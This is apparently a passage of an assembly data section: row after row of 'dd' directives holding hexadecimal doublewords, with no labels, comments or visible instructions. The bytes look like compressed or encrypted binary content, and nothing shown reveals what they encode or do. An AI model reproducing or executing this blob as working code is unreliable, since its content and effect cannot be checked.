		dd 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh
		dd 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h
		dd 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh
		dd 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h
		dd 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh
		dd 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h
		dd 57B9D5E4h, 38DEA83h,	82B7CD0Fh, 7C00DBCh, 0B103FD41h
		dd 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h,	0D5EE7649h
		dd 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h
		dd 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h
		dd 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh,	0A575C410h
		dd 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h
		dd 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh,	5DA8D0F7h
		dd 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh
		dd 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h
		dd 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h
		dd 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h
		dd 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh
		dd 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h
		dd 768BC7DFh, 7DB91A0h
		dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h,	1504E083h
		dd 18CECDFh, 35586176h,	0C46F24BFh, 0E63B5599h,	0EC2B0019h
		dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
		dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
		dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 43E10000h, 0C6AF0000h, 8CD4505Bh, 1505C2E1h
		dd 0CD794971h, 6397E919h, 0BF766188h, 0FCB46086h, 36A819DCh
		dd 0ACD337B2h, 0C3F8ED83h, 7EC2CB78h, 0DF39D269h, 495E1AADh
		dd 6FEE8560h, 0AD1476DEh, 51BF6116h, 92795193h,	7ADCA6E2h
		dd 0F9FEA068h, 530497A7h, 0A6985A0Bh, 38708DFDh, 0E39EBAEh
		dd 0B6D9638Ah, 5DE59DE9h, 961D677h, 0C36CCCDAh,	926919F7h
		dd 698B80B0h, 6C09F460h, 4BA96A14h, 95A1E77Ch, 92128B1Fh
		dd 0E682DEE3h, 4AFC228Ah, 43D0B450h, 610306DDh,	4897ECFDh
		dd 8E29B975h, 143041A2h, 0CDACCA73h, 21CB3C8Fh,	542A19F0h
		dd 0FBD85795h, 0A3222DB2h, 81370B2Ch, 71539F4Ch, 0FD97F983h
		dd 873B48A4h, 234BA044h, 0B158C517h, 0D11DFD94h, 58600D3h
		dd 4D5B935Bh, 0E49B86BCh, 877EEC8Fh, 0BFFD4AFBh, 9C99365Eh
		dd 0E9BA47E1h, 65ED50CAh, 4F634A27h, 0AD37C264h, 0A27AA8D8h
		dd 9970526Eh, 211E7108h, 0D3B202DCh, 1BF331A2h,	14299B0Ah
		dd 818FA23Dh, 0D3F28C2Ah, 0ED6EB924h, 0F2AF109Dh, 7EA10EFEh
		dd 0AD4ABB73h, 35F0A1C8h, 94896E51h, 0F7241F99h, 0A8D415FBh
		dd 0D310136Ah, 77E7539Eh, 0CF6E505Dh, 0FABCF30Fh, 0B3884C5Bh
		dd 3A1F32DDh, 78D1B26Fh, 0B783AE10h, 8B6E0BB9h,	0FA6F728Fh
		dd 426B95C4h, 0D3CB1202h, 0F42BF170h, 3054D415h, 0ADE256E6h
		dd 0E8ABE1C2h, 72207691h, 0B881F19Bh, 0DBB8230Fh, 0AFC23B97h
		dd 7B012EF6h, 0B9F8FD01h, 8F3002DAh, 0CDBFA214h, 0ACE35F52h
		dd 0DA0CEC19h, 0B0A66D64h, 0DB94F6D3h, 501084F2h, 8785C33Eh
		dd 3D7B4CE8h, 66A78CDh,	1F053C1Fh, 486B46A2h, 79809BB7h
		dd 38F85BA2h, 2491C9CDh, 5DDD115Ah, 0A28F2D9Fh,	5ECFF5CDh
		dd 7E6FA1DBh, 66740F36h, 0D3A9F5Ah, 73DE6E7h, 607A8FFFh
		dd 0F9189578h, 718138CDh, 9C94FA0h, 4CFE0C3Eh, 673AFE63h
		dd 87F2A8A4h, 5DC45DBDh, 0D676E698h, 0F8825D66h, 8E1FED01h
		dd 0E15BDBABh, 4CEEE9A9h, 8282899Dh, 4FEC63DBh,	48A84B59h
		dd 7C218623h, 87CEE524h, 6F52DC25h, 0F108A5CAh,	0DB5D1A8Eh
		dd 6AF9A583h, 0F21DC58Dh, 1AF2640Dh, 89969B7h, 6F46949Eh
		dd 9A83C8FDh, 0FA4C8AEh, 7F468A98h, 3B81AE65h, 489A9525h
		dd 0C111B845h, 946357D8h, 0B8D49600h, 2369DCECh, 0D4DD3B90h
		dd 915B76E8h, 0D7D84AACh, 62DF507Ah, 560CAB14h,	1780BE79h
		dd 38C616F2h, 0A1AE9D58h, 9603A453h, 0C7353BC3h, 4684FAB2h
		dd 0CBA8455Fh, 67E1A5Ch, 0A18E059Eh, 0C733ED92h, 84B2A698h
		dd 0AD79421Eh, 6C50944Fh, 0F49134CFh, 4CC84195h, 9F204EF0h
		dd 26044A54h, 4C50EC10h, 452AC1B9h, 30FE0A8Eh, 0F03190C1h
		dd 0ADE4D4D6h, 118543F3h, 0A324D586h, 6FD33B98h, 84F08FC6h
		dd 0AF1A197Ah, 0EE0AD61h, 3F888551h, 0FFB65BFAh, 0E0BB69D3h
		dd 6E47989Eh, 0CFD0D142h, 4A024468h, 0B381A04Eh, 150856B2h
		dd 3A53B6B2h, 1F86EF7Dh, 4A3DDFEFh, 412B4163h, 5A47ECF8h
		dd 72B26E92h, 0C99D128Ch, 0CC2ABE0Bh, 4185B904h, 863B22C6h
		dd 0C5D287Dh, 7365C3D2h, 8C8FF99Dh, 0CFAE1A2Dh,	919E4937h
		dd 6DC0678Fh, 27BF5B4Dh, 0CC9A2FDBh, 7E5D8AA4h,	53DB07DFh
		dd 50B5343Dh, 5870E709h, 8B4B4135h, 0E3B44CAh, 79CA6924h
		dd 8B3AF0FBh, 71B2595Bh, 0E7E5EE08h, 5C23E8D0h,	9D3FC50Ah
		dd 0FE5AFF3Bh, 0BF83E894h, 0A919CD75h, 511D8719h, 4A61AFB6h
		dd 49B7F038h, 6B83822Fh, 999F3F5Dh, 7CBC821h, 30EF73F5h
		dd 0A91F4452h, 5067B44Ah, 4CCEE1F0h, 9C53831Dh,	0AFC45FF7h
		dd 0BE5444C9h, 0F8AB6678h, 0FC12651h, 0E5B0EDFDh, 7467B27Ch
		dd 0F7A85076h, 390B51DBh, 695E1E41h, 26969971h,	2B36BD55h
		dd 0A040422Ch, 0FEBD4187h, 0A35DBDC3h, 0F1C12044h, 0D471CE26h
		dd 80458B9Eh, 5A2D5177h, 9F9C8069h, 14016090h, 33F4443Dh
		dd 815D7BBh, 2B78F6CBh,	0A64F3B7Ah, 28363724h, 21A536BFh
		dd 0F29F5A85h, 0FF18CD9Eh, 67AD8764h, 42E3955h,	13FA3808h
		dd 5887C26Eh, 8E70D4E5h, 5496E7D5h, 5CED2D87h, 0CE0558C4h
		dd 0C374810Ch, 6FF9A802h, 112D7AAFh, 0D74BE278h, 0E5110059h
		dd 0E85D745Ah, 918FE7Eh, 0CB830096h, 0FECD8724h, 0A71C1838h
		dd 4AA9BDB0h, 75892AB7h, 0C1AFB07Ch, 0EAC4ECB4h, 92D2186Eh
		dd 5C9597A3h, 0F4B89741h, 0EFA00BD0h, 0FD40EACDh, 9F71C8FBh
		dd 5C7EB43Ah, 22759A3h,	2DB84EDh, 9E6D0D75h, 8354B447h
		dd 79883349h, 0C2766612h, 0FE3978BDh, 0CC44BD75h, 0A16A7CAAh
		dd 5AD75DF8h, 544E0247h, 473E9FFFh, 9E82D2F9h, 94464A73h
		dd 0C2150AE1h, 0A290483Ch, 0D5A3EE50h, 2D133D61h, 3EF54411h
		dd 0C5DE5E10h, 0E05489DBh
		dd 3DEED910h, 0E18FB7B6h, 7765B3A3h, 0E9A0ED9Dh, 5845472h
		dd 8EE9AE7Dh, 22D1A196h, 32C21E51h, 8669B6F0h, 0A618AA2Ah
		dd 5ECF1290h, 0BB389149h, 3B91593Bh, 9AA128DAh,	0FAC61D4Dh
		dd 0C0F742A9h, 0BD3AB0C3h, 47FABEDEh, 9CA9B6CBh, 75E1DFB0h
		dd 25255BCCh, 19C617F1h, 355E7AF1h, 34E58447h, 367F6CF4h
		dd 0CE3D8393h, 0F399BB31h, 1107894Dh, 85A42AA4h, 5413E9D1h
		dd 1406E9ACh, 675C6A69h, 4A8DA5D3h, 0F67E4C97h,	0F4FD6F8Ah
		dd 0BFA3FC2h, 65D2E5F1h, 52F5C008h, 0F451C328h,	28F953F2h
		dd 0A7F4B3E1h, 5DFF41EEh, 3D94920Ch, 8D8F2F0h, 0B85266D9h
		dd 45A77070h, 9A7F70B0h, 1A7F3F75h, 4728C0F8h, 71451129h
		dd 0CA0D70F1h, 0CC60FC7Dh, 0F6AA8588h, 0D64534CDh, 0D6ABCD61h
		dd 6F5FAB98h, 305C6C12h, 0D5F3BC50h, 1A3BD5Eh, 976CE8E0h
		dd 7B200B99h, 0F8649D6Fh, 9F849539h, 0F682A040h, 4B3DC1D4h
		dd 206965E3h, 50298096h, 11E35456h, 77807945h, 96C32AD9h
		dd 19C98F08h, 22717B90h, 438DF379h, 0AEA6C8C9h,	0F501CA52h
		dd 0DBE20EBDh, 9E56E901h, 0CF3A1ABFh, 2D3A2706h, 0DC112A3Fh
		dd 4C8350D2h, 7BFBD89Ch, 3F5F7523h, 9BC49575h, 9CDBF0E1h
		dd 0F65E0200h, 0DBA1312h, 0AEC6B68Bh, 45608C09h, 6A12B809h
		dd 0CCAF77A4h, 0DED9B85Eh, 863AB0AFh, 60783AE6h, 921BE29Dh
		dd 5F4CA799h, 14A77C2Fh, 0A3562E68h, 48C13A13h,	41E83A8Eh
		dd 70E95962h, 379AB543h, 0A4F58CD3h, 106BEC3Ah,	72EE61DCh
		dd 3A1E2F36h, 5969FAh, 961007B6h, 5B783179h, 1D6F0A21h
		dd 1A01368Fh, 26DDDADh,	43B20A6Fh, 0AB914AC8h, 0AFD145FFh
		dd 3CDD0AFFh, 0DCC3E37Ah, 64F9E46Fh, 9B2899F3h,	0A1725B23h
		dd 152E3B62h, 83F6B157h, 0BFE15328h, 0E81BAA17h, 0E8221C0h
		dd 0E565C918h, 36006176h, 724B919Bh, 23B06F5h, 0FCEEDA2Eh
		dd 0D6005F8h, 517B950Dh, 81AD7533h, 318E34B2h, 0FCA76317h
		dd 26307B2Ah, 68454C24h, 0CAC25977h, 48A702FEh,	0DCB80DA7h
		dd 0EF83F921h, 0ABB5A604h, 732B4763h, 69A15167h, 3F91540Bh
		dd 0C66A985h, 3B6880Ah,	143B7406h, 0E6F058D1h, 0D81A789Ch
		dd 5B3AF0EBh, 0B270EF87h, 3F34DD0Dh, 87AA60EEh,	524158B9h
		dd 1A9B54D3h, 172A1379h, 32821B98h, 0CDE23B59h,	59AF3A85h
		dd 551896EFh, 9C6EBB09h, 0B896D800h, 0DCB818ABh, 10364C42h
		dd 907D177Ch, 0C67694B6h, 0F5230975h, 36CEAA24h, 0F0DBC84Eh
		dd 0C599FE30h, 5F3C1B4h, 72C361C6h, 3A1B3584h, 4876C73Eh
		dd 0FAA0F1A1h, 1162EF45h, 1DF5B366h, 0F3C45FAFh, 1D7E3BB7h
		dd 1B90A829h, 0BCA03BB5h, 3A723456h, 91365F37h,	846C47E8h
		dd 0A2E2CFCEh, 865F7EF6h, 1349D953h, 969E0A45h,	0D04DE926h
		dd 240100A3h, 810FE107h, 0CA2F582Eh, 7FD2089Ah,	0F54D7B8Bh
		dd 0F11F1BECh, 0B5D553D1h, 0E91E360Eh, 46A0D779h, 28C72D5Ch
		dd 55A42568h, 7B89A137h, 0CA7DCC58h, 0C050D8h, 4086334Eh
		dd 8CE5BFCh, 7EBD8BA0h,	7FD83B99h, 9687098Eh, 75D4D4DFh
		dd 14CD6B83h, 19A3B78h,	0A3F90276h, 0E53878F7h,	0E8493209h
		dd 0F014EAEDh, 93BB733Ch, 0C663DAB6h, 0DEE62F27h, 8AA20608h
		dd 28E52861h, 0CC1F406h, 6C405447h, 5CAF61AEh, 0E6ED6A86h
		dd 0D36F244h, 136D6AAh,	0E6772AAFh, 0C27CD60Dh,	0CBCD951Dh
		dd 97850DACh, 0F55E85DDh, 2CAEDB7Ch, 0DAC9E0D6h, 6E40E48Ah
		dd 254BC2FBh, 3AC329B6h, 0F3A518C5h, 418BA697h,	480BF16Dh
		dd 81871C94h, 2271D6AFh, 1E1FA9ABh, 69181D20h, 440F8699h
		dd 0F76362AEh, 0D14979C9h, 9285EEC3h, 2B010985h, 148439E1h
		dd 0F988893Dh, 0BF82DD4Dh, 7B2427Eh, 6469145Fh,	76C650EEh
		dd 7FFB20E6h, 0CEA95E96h, 4EFA3B5h, 898EA7BCh, 7ED26CF6h
		dd 12873E15h, 0F4AF81Bh, 0B8A56927h, 81B4A5E8h,	19D12F9h
		dd 0C4C84D2Dh, 0B428045Eh, 4D17CA2Fh, 32C9D7DAh, 0AC4FFD70h
		dd 4F3A8D8Bh, 9D77D689h, 2CA53EF9h, 2CF12B89h, 7854B340h
		dd 74BB1248h, 0E47B21C3h, 78DD0270h, 0E8CD0725h, 79F7660h
		dd 0C9D42D9Ch, 415C5B38h, 57433368h, 86AC8C62h,	8B27E877h
		dd 9E31D34h, 63A06568h,	374D4C4Fh, 0BCFC5B4Bh, 87B8FBD9h
		dd 0DE0FB7Eh, 0ADA7133Eh, 0E7DB6E4Ah, 1D35166Dh, 93874A71h
		dd 7A10C310h, 0B9887338h, 3C57F715h, 932AA8Ah, 670D883h
		dd 6BB057DEh, 0E5A5A21h, 9CC118E0h, 60EC1A42h, 0F99F9002h
		dd 6B3EB22Ch, 188E2E68h, 3EAF8B60h, 96A4DE25h, 6270ADAEh
		dd 0F929E51Ah, 0F01E9660h, 0B7F57A92h, 0CDD51CF9h, 8C2650E4h
		dd 29FA24D3h, 0FCDE6A06h, 9D63B45Eh, 87F3DACFh,	65C6FFD8h
		dd 0AB84C238h, 8ADE43C6h, 0D55D5905h, 0BDE96217h, 0D62CBCECh
		dd 67E59490h, 0BEFEA251h, 5B19B67Dh, 6C470AEAh,	59324D44h
		dd 22C0B694h, 0DAA07AECh, 7EBBB554h, 0BB03CA3Ah, 6877D497h
		dd 8BD5CC98h, 170E2212h, 74229750h, 0D4893D19h,	22FF7DAAh
		dd 0E0307AC3h, 0A763C99Ah, 964195E8h, 0F4C5DB9Eh, 9B47F8FFh
		dd 0FD4E8555h, 86680641h, 2FCE64CDh, 0C7164641h, 16C3C61Ah
		dd 7C8480CFh, 538B777h,	855A4F24h, 9D4EB94Ah, 5B1BD302h
		dd 0C409B33Dh, 5CE9B7EDh, 0EFEF4D02h, 734787C9h, 1123B690h
		dd 0F8FEEE6Ch, 0A72D4915h, 9B583637h, 0DA1DE07Ch, 59CA835Dh
		dd 1E756446h, 0BC3A7992h, 51B06422h, 2D7A9CB8h,	4E11FEE1h
		dd 309BB585h, 0C2AD007h, 0B003124h, 0EC9BBE70h,	91FF8F0Ah
		dd 1581A746h, 48B909F8h, 0AF4EBF42h, 27578E13h,	83198546h
		dd 9C31A5Fh, 8765F186h,	0F5693BE9h, 0ACD8D3FAh,	7A8F0E8Eh
		dd 81F497A9h, 0E0E70598h, 0B3C3D6FCh, 5145DDBDh, 40C28086h
		dd 0B7AF0D19h, 0CE13AE14h, 0F534215Ch, 5A2A2DE3h, 0F70CC508h
		dd 6802FD9h, 0D0922999h, 773EB08Bh, 9CB9ADC8h, 0FD409A81h
		dd 6F2BA35Dh, 931B8781h, 1D2BE9A6h, 0C334C1B0h,	0C926FBE4h
		dd 356A6C1Ah, 8CF4C427h, 0E8B33680h, 0FE9B057Eh, 0E0C12429h
		dd 23DF3721h, 0B6508580h, 8159FBEFh, 11ADDDF5h,	7D78AE0Ah
		dd 0E9520C76h, 0DA481CAEh, 0FE53E67Eh, 36ABD598h, 2B6872C6h
		dd 0DE60C9BEh, 5CB1FBE9h, 0D74CA3DBh, 76BAC8D1h, 6D1AB3C0h
		dd 0B641FDBCh, 36EC7AD1h, 0C55CE8D0h, 0ED05E000h, 0D5C950C5h
		dd 91875E94h, 7281B38Eh, 87F52103h, 77961719h, 714DB626h
		dd 1D91889Eh, 8B7B76FAh, 47799289h, 319D9036h, 0B04B28A2h
		dd 0BC68F5B6h, 8B1D8EADh, 0D2AE7EFDh, 0F583B37Eh, 0BB55C91Eh
		dd 0C2294041h, 40A8583Ch, 0D8854E33h, 0A6C49329h, 137B8847h
		dd 254C34F3h, 0C48E0FFh, 0D8D249DEh, 0C76B1B6Eh, 1264A081h
		dd 9410676Ah, 3EC01942h, 0C809C98Fh, 17FB9CBAh,	5C93AD04h
		dd 5922BAE3h, 0BA64410h, 0CB1A3208h, 389B9BF1h,	27B712C7h
		dd 0E8157B22h, 89D92338h, 49237FC3h, 0CD02C516h, 0FB112AF4h
		dd 1D8334E8h, 8EF78036h, 7F585D6h, 0DE50C96Bh, 61DF00F0h
		dd 9F0D7AF0h, 98538954h, 71472B94h, 0C012D8F7h,	0B24166F7h
		dd 4D3F4ED1h, 427A91E3h, 613A201Eh, 0AE163756h,	39420303h
		dd 0C2A40AC2h, 20AA80FFh, 7E151CB5h, 4E70D27h, 8EE5DA6h
		dd 0E4EB48F6h, 0E5DC69D8h, 2FF6E22Dh, 8D8DE6F2h, 0A97B972Eh
		dd 7B47E438h, 4B8ACD91h, 0F16FE26Bh, 0DD323BCCh, 0A0E5234Ch
		dd 0DFC16F71h, 0DB84A441h, 0CA9D3EA0h, 42A930A0h, 0C4D05687h
		dd 0EEAB3463h, 5EDB9725h, 0DAEB1CCCh, 18908A9Eh, 565780D3h
		dd 9D40D5B7h, 0C8A8906Bh
		dd 0FD2711DCh, 5C864F56h, 0B54DC2D1h, 32D3F822h, 306457E5h
		dd 1D6B97EBh, 0A6118851h, 3362287Fh, 7AF7BD38h,	6638AF11h
		dd 0D8D6B52Ah, 0E7845860h, 0E0E45708h, 2392A74Eh, 0B4AE7ADFh
		dd 372893EEh, 30C67945h, 8B578480h, 0D138360h, 767126Ah
		dd 80D9B51Ah, 0E9E38AA1h, 56CB7801h, 0D34FBABDh, 63D607DDh
		dd 4F76A422h, 0BD1F6238h, 5452DFBh, 3DA73D3Dh, 350188E5h
		dd 63F88654h, 9A5C0E18h, 0E6951647h, 3D4C7223h,	0C5F77818h
		dd 5E594DCh, 68D48F7Ch,	0D0140269h, 89F834CEh, 6912F8B3h
		dd 0AA992BE4h, 2C5D4A00h, 62BE6F6Ah, 0E10F0964h, 76BDC72Dh
		dd 0F8E5F746h, 0C872B93Bh, 0B2BAFBB6h, 976F5D35h, 9E99CC32h
		dd 181F28B6h, 1722D8EDh, 0F50AD97Bh, 6AD133CDh,	0D495D9C3h
		dd 0D7AFBAE4h, 0E35FDA8h, 0EAEF72CAh, 70ADCB28h, 3C2E7071h
		dd 15039E55h, 95F476E9h, 78781C38h, 7E4962C9h, 91E98h
		dd 17B3A588h, 918D4D6Bh, 2A781003h, 339C02EAh, 29B35CEh
		dd 1CA39EE4h, 0B5369568h, 517A5657h, 0ECD9B789h, 5DE99006h
		dd 54DE0A89h, 0DD079F02h, 0D59CADD6h, 0E7C56485h, 2F9055D5h
		dd 0C9EA6F5Fh, 3FF5D8F0h, 58B2A8E5h, 988DA2F7h,	0E434CF99h
		dd 9E84A3B5h, 28102C6Ah, 0AB20FF59h, 0BDEF2044h, 36717B49h
		dd 2D7F865Ch, 1F4A771Ch, 252D1274h, 8520E85Eh, 2AB55BB6h
		dd 5BC23E0Ch, 0C1B8D159h, 0DB00BCFEh, 0CC7D6CA5h, 2B193244h
		dd 34134B7Dh, 3C2AE1FDh, 23DF6C20h, 0A28B6872h,	2CA57074h
		dd 0C9EF6126h, 68CBD655h, 304672EFh, 0D416B4BAh, 3FB4F919h
		dd 75F6AA2Ch, 4B699532h, 89ECC0F5h, 0CB1DE612h,	0D252186Bh
		dd 358A8935h, 915D4C82h, 9FAA3B48h, 77EBC841h, 3AC4348Ch
		dd 0A04C0BE2h, 47C05ECFh, 6FBB69C3h, 8D943EFFh,	574D3CCAh
		dd 9F82C08Fh, 7E47FCD5h, 0A16B6726h, 0DDAF91BCh, 0EC14685Ah
		dd 36E36309h, 286850FDh, 0A87BEC20h, 0FFD02EEEh, 2EF2C2E1h
		dd 9B2A5BAEh, 0D51FCFF0h, 8E639470h, 0DA84AC43h, 0F4AA5026h
		dd 58D0A9ABh, 9D80F076h, 0F172DDCh, 6ACC04E3h, 49344003h
		dd 3B1E7F6h, 2A0A0A0Dh,	0B9822920h, 3C5826E0h, 1DA56CAEh
		dd 248E11A2h, 0CD38DD8Ch, 0A6E7B511h, 0E3CE4238h, 98E04F1Bh
		dd 0F25378A6h, 49F05F7Ah, 0AD9C4EBEh, 0E27809D9h, 0D066DA8Bh
		dd 8C0D10ECh, 45ECE64Ch, 0E8F29D6Eh, 0C726B5F0h, 0F6C037FBh
		dd 0E1596CA6h, 0A4B961FBh, 0F6FDBF36h, 3E2F43D2h, 9124BDD6h
		dd 0F7640DC6h, 0ECD95277h, 59085F6Ah, 65CB9E30h, 31655C96h
		dd 0DAFDC4D2h, 3006033Ch, 85D7378Ah, 0E9E0B55h,	8AB2173Ah
		dd 3D1934BBh, 42D37FA7h, 38F2E8D7h, 0C02D4662h,	0EBE31276h
		dd 56A1B5B7h, 9CFFBFD3h, 99DF8322h, 9246A6E8h, 0F6A215BBh
		dd 0A2EBD3FBh, 6761F581h, 76925B9Ch, 851364E1h,	0ABE78621h
		dd 4F41C6E1h, 4A80B652h, 6BD9BFF4h, 0F6ED40h, 0F0D822CDh
		dd 0CEB7D51Ch, 0B44970C1h, 0C37CD952h, 75CE7976h, 0A8C6CCA7h
		dd 0BF20C9E2h, 0C8EB74FCh, 0B222F78Dh, 26291E58h, 9E73A1ECh
		dd 3A8A221Fh, 147676BCh, 7ED47E16h, 0D4F84C69h,	0B42CE442h
		dd 34FF1122h, 31550DCBh, 8BD0DA72h, 6AAB3A06h, 5D0D3D33h
		dd 770A66ADh, 0BCDD1BECh, 4BF3A1A4h, 578CC2E3h,	0D2196B97h
		dd 0A847BB8Ah, 67CE131h, 28C8427h, 0D33F2306h, 0D1DE3720h
		dd 0C8FB30DBh, 6FE59D83h, 3C59A906h, 9DBE1905h,	6BC0E5EAh
		dd 0C82AD058h, 22E034BEh, 0F94AFBABh, 0F023C2D2h, 0B6B3CD6Ch
		dd 57F3B051h, 0C49263BAh, 2FE3AD57h, 16DFF388h,	94B6465Ah
		dd 7B092350h, 0E0B5205Ch, 5CEF44DBh, 0F1B900BDh, 3E9FB1D4h
		dd 72DCEF0Ah, 92996CCDh, 3A782FBDh, 0E3DC9DFBh,	54717B28h
		dd 0D452AA62h, 2E4944CEh, 0B3D075A6h, 0BB774CC6h, 0B6469757h
		dd 554886B7h, 494A57B1h, 36FB2956h, 648C7C0Dh, 48EBF955h
		dd 0FDDC38EEh, 168FC9ACh, 8D13978Bh, 3CEC9B33h,	0A39AA4FDh
		dd 0CAD45F0h, 83A71278h, 0B8BB496Eh, 46053A77h,	68483C49h
		dd 0E6C2710Fh, 0D69FF2A8h, 99569761h, 0BC0FBF85h, 9A9F9655h
		dd 44D0CCA4h, 79E4F864h, 0FCA6AAF0h, 50496C11h,	6FCA620Bh
		dd 8C726DBFh, 0DE5C6373h, 4BD28E33h, 7901FEEDh,	6F2A760Ah
		dd 819B901Dh, 0E9C179DCh, 0D3492BD0h, 0D48E27B8h, 65E77C52h
		dd 0DC9E8EA4h, 0C606D23Bh, 0C02D5B89h, 82A3ECB4h, 0AC033705h
		dd 7739683Bh, 733083B9h, 2A47E126h, 624A619Eh, 5925EA09h
		dd 0F2C6D2DAh, 9CCFC4EDh, 0BC1681B7h, 3E3301D2h, 0D43B34F2h
		dd 0AA1B4BF6h, 0B2AF8F9Ch, 0C9727D9Fh, 99C0655Bh, 6AC9E85Ah
		dd 2D6E10E6h, 0A6447259h, 0A341C6AAh, 4F712562h, 0F2E86108h
		dd 5C2A0323h, 7EBA39CBh, 2AF9E350h, 0F1FD182Fh,	1F2A6717h
		dd 0D36BF43Bh, 0F80868B2h, 0F96F7DBBh, 0A5422E8Fh, 591595F6h
		dd 8484AE30h, 0D3ECC10Ch, 0BDE056A4h, 0A46458B9h, 11495691h
		dd 4DBE1579h, 10CB01DEh, 0E6CEDFDh, 0A44A08EAh,	10F13A17h
		dd 6C9FC280h, 5E24F782h, 0F5168DE0h, 0D4D772B2h, 25A4BF2Fh
		dd 0CF27D4E3h, 75A8D1B6h, 4227F1D9h, 0EB12185Eh, 0BD0536E3h
		dd 8BDA484Bh, 3A16D0E8h, 0D7375187h, 2C14BC79h,	413EFD05h
		dd 6E2DC4D7h, 0F3E44855h, 826C339Ch, 84CCE399h,	40A63A88h
		dd 0DF8108DFh, 0E6692D4Dh, 8B768B80h, 0C9D165EDh, 64C2EC0Eh
		dd 0E341F6A4h, 0DFD797D7h, 1C1A4B56h, 89C8BBB7h, 25AEA127h
		dd 480BD07h, 0B9392EA7h, 94C6E9DEh, 6A9B4944h, 69FA5CCBh
		dd 0C3B43B64h, 0DBE29B2h, 0E0BF5BC0h, 7A753325h, 3EBBE7AFh
		dd 6ABB0754h, 0BA1D615Ch, 773A79Bh, 3199C950h, 5641C98Eh
		dd 325995FAh, 7AF1A433h, 0D33B0669h, 0FA5422B5h, 135321C0h
		dd 0EDDFEB41h, 6E09F87Dh, 6DEFE179h, 0C85D204Fh, 4A78240Eh
		dd 66D22048h, 20D49833h, 0D0DED489h, 0C5BDFE86h, 0F485CF5h
		dd 0D6C9DBD8h, 0F35A1B03h, 49CDEC49h, 8264F847h, 6B1C53E6h
